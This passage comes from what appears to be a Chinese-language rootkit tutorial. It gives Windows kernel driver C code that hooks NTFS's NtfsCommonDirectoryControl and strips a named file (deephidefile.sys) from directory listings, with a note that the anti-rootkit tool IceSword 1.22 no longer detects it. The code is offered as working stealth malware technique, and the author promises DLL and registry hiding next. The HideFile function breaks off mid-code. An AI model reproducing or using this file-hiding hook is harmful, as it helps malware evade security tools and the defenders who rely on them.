}
}
}
}
ZwClose(hFile);
}
return result;
}
...........................................................
...........................................................
NTSTATUS Fake_NtfsCommonDirectoryControl(IN PVOID IrpContext,
IN PIRP Irp)
{
PIO_STACK_LOCATION IrpStack;
PVOID buf;
ULONG buflen;
NTSTATUS status;
PFILE_BOTH_DIR_INFORMATION currentDirInfo;
IrpStack=IoGetCurrentIrpStackLocation( Irp );
if( (IrpStack->MajorFunction == IRP_MJ_DIRECTORY_CONTROL) &&
(IrpStack->MinorFunction == IRP_MN_QUERY_DIRECTORY) &&
(IrpStack->Parameters.QueryDirectory.FileInformationClass ==
FileBothDirectoryInformation) )
{
status = OriginalNtfsCommonDirectoryControl(IrpContext,
Irp);
if (NT_SUCCESS(Irp->IoStatus.Status)&&(Irp->IoStatus.Information>0))
{
buf = MapUserBuffer(Irp);
buflen = Irp->IoStatus.Information;
HideFile(buf,&buflen,Irp);
}
}
return Irp->IoStatus.Status;
}
VOID HideFile(IN OUT PVOID buf, IN PULONG lpBufLenth,OUT PIRP Irp)
{
PFILE_BOTH_DIR_INFORMATION currentDirInfo =
(PFILE_BOTH_DIR_INFORMATION)buf;
PFILE_BOTH_DIR_INFORMATION lastDirInfo = NULL;
BOOLEAN bLastOne;
ULONG strlen = wcslen(HIDESYS);
do
{
bLastOne = !(currentDirInfo->NextEntryOffset);
if (!_wcsnicmp(currentDirInfo->FileName,HIDESYS,strlen))
{
DbgPrint("HideFile=%ws\n",currentDirInfo->FileName);
if(bLastOne)
{
if (currentDirInfo == (PFILE_BOTH_DIR_INFORMATION)buf)
{
RtlZeroMemory(buf,Irp->IoStatus.Information);
Irp->IoStatus.Information = 0;
Irp->IoStatus.Status = STATUS_NO_MORE_FILES;
}else
详细代码请看源文件,为了得到正确的 NtfsCommonDirectoryControl 函数地址,主要
是怕 Ntfs 的分发例程函数被别人 HOOK,因此采取从原始文件读取,略微修改我写的这个函
数,可以找到所有 Ntfs 的原始分发例程函数。编译测试环境:windows xp sp3+WDK7600,并
且测试分区文件格式为NTFS 文件系统。利用最新 icesword1.22测试,
你会发现 icesword1.22已经找不到隐藏文件(deephidefile.sys)。
文章到这里就结束了,细心的读者会发现,用驱动隐藏自身后,icsword1.22查找文件里有
一处没有文件名、大小、占用空间为0,时间是 1601-xx-xx(奇怪的日期)的项,而这一项
其实就是我们隐藏的文件,是因为我在隐藏文件函数只是抹去了文件名称,估计Icesword1.22
从文件链表的长度来计算了文件个数,因此虽然在IRP 抹掉了文件名,也就是存放文件名的
那部分内存被清0,但是 Icesword1.22通过链表个数还是计算出有这么一个文件,但是
icesword1.22已经找不到那,对这个文件更没法操作(删除、复制、强制删除都不行),90%
的隐藏,但还不是100%,读者不要问我为什么不做到100%的完美隐藏,因为我只是为
了帮同学的忙而已,并不是专诚用来做病毒木马,开个玩笑。有时间再给大家讲讲如何在
Icesword1.22下做dll隐藏、注册表隐藏.....,希望各位能够喜欢! |